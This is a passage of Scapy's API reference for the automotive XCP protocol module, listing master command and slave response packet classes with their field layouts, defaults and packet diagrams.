fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   | SEGMENT NUMBER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. GetSegmentMode                        


GetSegmentMode fields






	reserved

	ByteField

	0



	segment_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.GetStatus(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L32-L34]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.ModifyBits(_pkt, /, *, shift_value=0, and_mask=0, xor_mask=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L234-L240]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SHIFT VALUE  |            AND MASK           |    XOR MASK   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ModifyBits                          


ModifyBits fields






	shift_value

	ByteField

	0



	and_mask

	XCPEndiannessField

	0



	xor_mask

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.Program(_pkt, /, *, nr_of_data_elements=0, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L478-L481]

	Bases: Download

Program a non-volatile memory segment


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|           ALIGNMENT           | DATA ELEMENTS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                           Fig. Program                           


Program fields






	nr_of_data_elements

	ByteField

	0



	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramClear(_pkt, /, *, mode=0, reserved=0, clear_range=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L468-L475]

	Bases: Packet

Clear a part of non-volatile memory


	
access_mode = {0: 'absolute_access', 1: 'functional_access'}

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |            RESERVED           |  CLEAR RANGE  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ProgramClear                         


ProgramClear fields






	mode

	ByteEnumField

	0



	reserved

	XCPEndiannessField

	0



	clear_range

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramFormat(_pkt, /, *, compression_method=0, encryption_mode=0, programming_method=0, access_method=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L511-L518]

	Bases: Packet

Set data format before programming


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|COMPRESSION MET|ENCRYPTION MODE|PROGRAMMING MET| ACCESS METHOD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ProgramFormat                        


ProgramFormat fields






	compression_method

	ByteField

	0



	encryption_mode

	ByteField

	0



	programming_method

	ByteField

	0



	access_method

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramMax(_pkt, /, *, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L527-L530]

	Bases: DownloadMax

Program a non-volatile memory segment (fixed size)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ALIGNMENT           |         DATA ELEMENTS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ProgramMax                          


ProgramMax fields






	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramNext(_pkt, /, *, nr_of_data_elements=0, alignment=b'', data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L521-L524]

	Bases: Download

Program a non-volatile memory segment (Block Mode)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|           ALIGNMENT           | DATA ELEMENTS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ProgramNext                         


ProgramNext fields






	nr_of_data_elements

	ByteField

	0



	alignment

	StrLenField (Cond)

	b''



	data_elements

	StrLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramPrepare(_pkt, /, *, not_used=0, code_size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L503-L508]

	Bases: Packet

Prepare non-volatile memory programming


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    NOT USED   |           CODE SIZE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ProgramPrepare                        


ProgramPrepare fields






	not_used

	ByteField

	0



	code_size

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramReset(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L484-L486]

	Bases: Packet

Indicate the end of a programming sequence


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramStart(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L463-L465]

	Bases: Packet

Indicate the beginning of a programming sequence


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.ProgramVerify(_pkt, /, *, verification_mode=0, verification_type=0, verification_value=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L533-L543]

	Bases: Packet

Program  Verify


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERIFICATION MO|       VERIFICATION TYPE       |VERIFICATION VA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ProgramVerify                        


ProgramVerify fields






	verification_mode

	ByteEnumField

	0



	verification_type

	XCPEndiannessField

	0



	verification_value

	XCPEndiannessField

	0











	
start_mode = {0: 'request_to_start_internal_routine', 1: 'sending_verification_value'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.ReadDaq(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L380-L382]

	Bases: Packet

Read element from ODT entry


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.SetCalPage(_pkt, /, *, mode=<Flag 0 ()>, data_segment_num=0, data_page_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L244-L251]

	Bases: Packet

Set calibration page


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |DATA SEGMENT NU| DATA PAGE NUM |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SetCalPage                          


SetCalPage fields






	mode

	FlagsField

	<Flag 0 ()>



	data_segment_num

	ByteField

	0



	data_page_num

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.SetDaqListMode(_pkt, /, *, mode=<Flag 0 ()>, daq_list_num=0, event_channel_num=0, transmission_rate_prescaler=0, daq_list_prio=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L342-L352]

	Bases: Packet

Set mode for DAQ list


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |          DAQ LIST NUM         |EVENT CHANNEL N|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |TRANSMISSION RA| DAQ LIST PRIO |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SetDaqListMode                        


SetDaqListMode fields






	mode

	FlagsField

	<Flag 0 ()>



	daq_list_num

	XCPEndiannessField

	0



	event_channel_num

	XCPEndiannessField

	0



	transmission_rate_prescaler

	ByteField

	0



	daq_list_prio

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.SetDaqPtr(_pkt, /, *, reserved=0, daq_list_num=0, odt_num=0, odt_entry_num=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L322-L329]

	Bases: Packet

Data acquisition and stimulation, static, mandatory


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |          DAQ LIST NUM         |    ODT NUM    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ODT ENTRY NUM |
+-+-+-+-+-+-+-+-+

                          Fig. SetDaqPtr                          


SetDaqPtr fields






	reserved

	ByteField

	0



	daq_list_num

	XCPEndiannessField

	0



	odt_num

	ByteField

	0



	odt_entry_num

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.SetMta(_pkt, /, *, reserved=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L87-L98]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            RESERVED           |ADDRESS EXTENSI|    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. SetMta                            


SetMta fields






	reserved

	XCPEndiannessField

	0



	address_extension

	ByteField

	0



	address

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.SetRequest(_pkt, /, *, mode=<Flag 0 ()>, session_configuration_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L58-L65]

	Bases: Packet

Request to save to non-volatile memory


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |    SESSION CONFIGURATION ID   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. SetRequest                          


SetRequest fields






	mode

	FlagsField

	<Flag 0 ()>



	session_configuration_id

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.SetSegmentMode(_pkt, /, *, mode=<Flag 0 ()>, segment_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L293-L299]

	Bases: Packet

Set mode for a SEGMENT


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     | SEGMENT NUMBER|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SetSegmentMode                        


SetSegmentMode fields






	mode

	FlagsField

	<Flag 0 ()>



	segment_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.ShortDownload(_pkt, /, *, len=None, reserved=0, address_extension=0, address=0, data_elements=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L222-L231]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |    RESERVED   |ADDRESS EXTENSI|    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               | DATA ELEMENTS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. ShortDownload                        


ShortDownload fields






	len

	FieldLenField

	None



	reserved

	ByteField

	0



	address_extension

	ByteField

	0



	address

	XCPEndiannessField

	0



	data_elements

	StrVarLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.ShortUpload(_pkt, /, *, nr_of_data_elements=0, reserved=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L106-L113]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|    RESERVED   |ADDRESS EXTENSI|    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ShortUpload                         


ShortUpload fields






	nr_of_data_elements

	ByteField

	0



	reserved

	ByteField

	0



	address_extension

	XByteField

	0



	address

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.StartStopDaqList(_pkt, /, *, mode=0, daq_list_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L363-L369]

	Bases: Packet

Start/stop/select DAQ list


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |        DAQ LIST NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. StartStopDaqList                       


StartStopDaqList fields






	mode

	ByteEnumField

	0



	daq_list_number

	XCPEndiannessField

	0











	
mode_enum = {0: 'stop', 1: 'start', 2: 'select'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.StartStopSynch(_pkt, /, *, mode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L372-L377]

	Bases: Packet

Start/stop DAQ lists (synchronously)


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      MODE     |
+-+-+-+-+-+-+-+-+

                       Fig. StartStopSynch                        


StartStopSynch fields






	mode

	ByteEnumField

	0











	
mode_enum = {0: 'stop', 1: 'start', 2: 'select'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.Synch(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L37-L39]

	Bases: Packet


	
aliastypes

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.TransportLayerCmd(_pkt, /, *, sub_command_code=255)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L128-L137]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUB COMMAND COD|
+-+-+-+-+-+-+-+-+

                      Fig. TransportLayerCmd                      


TransportLayerCmd fields






	sub_command_code

	ByteEnumField

	255











	
payload_guess

	Possible sublayers:
TransportLayerCmdGetDAQId, TransportLayerCmdGetSlaveId, TransportLayerCmdSetDAQId






	
sub_commands = {253: 'SET_DAQ_ID', 254: 'GET_DAQ_ID', 255: 'GET_SLAVE_ID'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.TransportLayerCmdGetDAQId(_pkt, /, *, daq_list_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L158-L161]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DAQ LIST NUMBER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TransportLayerCmdGetDAQId                  


TransportLayerCmdGetDAQId fields






	daq_list_number

	XCPEndiannessField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.TransportLayerCmdGetSlaveId(_pkt, /, *, x=88, c=67, p=80, mode=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L140-L151]

	Bases: Packet


	
aliastypes

	




	
echo_mode = {0: 'identify_by_echo', 1: 'confirm_by_inverse_echo'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       X       |       C       |       P       |      MODE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. TransportLayerCmdGetSlaveId                 


TransportLayerCmdGetSlaveId fields






	x

	XByteField

	88



	c

	XByteField

	67



	p

	XByteField

	80



	mode

	ByteEnumField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.TransportLayerCmdSetDAQId(_pkt, /, *, daq_list_number=0, can_identifier=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L168-L175]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DAQ LIST NUMBER        |         CAN IDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. TransportLayerCmdSetDAQId                  


TransportLayerCmdSetDAQId fields






	daq_list_number

	XCPEndiannessField

	0



	can_identifier

	XCPEndiannessField

	0











	
sub_command = {253: 'SET_DAQ_ID'}

	








	
class scapy.contrib.automotive.xcp.cto_commands_master.Unlock(_pkt, /, *, len=None, seed=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L78-L84]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |              SEED             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. Unlock                            


Unlock fields






	len

	FieldLenField

	None



	seed

	StrVarLenField

	b''















	
class scapy.contrib.automotive.xcp.cto_commands_master.Upload(_pkt, /, *, nr_of_data_elements=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L101-L103]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|NR OF DATA ELEM|
+-+-+-+-+-+-+-+-+

                           Fig. Upload                            


Upload fields






	nr_of_data_elements

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.UserCmd(_pkt, /, *, sub_command_code=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L182-L186]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|SUB COMMAND COD|
+-+-+-+-+-+-+-+-+

                           Fig. UserCmd                           


UserCmd fields






	sub_command_code

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_master.WriteDaq(_pkt, /, *, bit_offset=0, size_of_daq_element=0, address_extension=0, address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_master.py#L332-L339]

	Bases: Packet

Data acquisition and stimulation, static, mandatory


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   BIT OFFSET  |SIZE OF DAQ ELE|ADDRESS EXTENSI|    ADDRESS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. WriteDaq                           


WriteDaq fields






	bit_offset

	ByteField

	0



	size_of_daq_element

	ByteField

	0



	address_extension

	ByteField

	0



	address

	XCPEndiannessField

	0

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.automotive.xcp.cto_commands_slave


	
class scapy.contrib.automotive.xcp.cto_commands_slave.CalPagePositiveResponse(_pkt, /, *, reserved_1=0, reserved_2=0, logical_data_page_number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L229-L234]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RESERVED 1  |   RESERVED 2  |LOGICAL DATA PA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. CalPagePositiveResponse                   


CalPagePositiveResponse fields






	reserved_1

	ByteField

	0



	reserved_2

	ByteField

	0



	logical_data_page_number

	ByteField

	0















	
class scapy.contrib.automotive.xcp.cto_commands_slave.ChecksumPositiveResponse(_pkt, /, *, checksum_type=0, reserved=0, checksum=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/automotive/xcp/cto_commands_slave.py#L183-L205]

	Bases: Packet


	
aliastypes

	




	
checksum_type_dict = {1: 'XCP_ADD_11', 2: 'XCP_ADD_12', 3: 'XCP_ADD_14', 4: 'XCP_ADD_22', 5: 'XCP_ADD_24', 6: 'XCP_ADD_44', 7: 'XCP_CRC_16', 8: 'XCP_CRC_16_CITT', 9: 'XCP_CRC_32', 255: 'XCP_USER_DEFINED'}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| CHECKSUM TYPE |            RESERVED           |    CHECKSUM   |
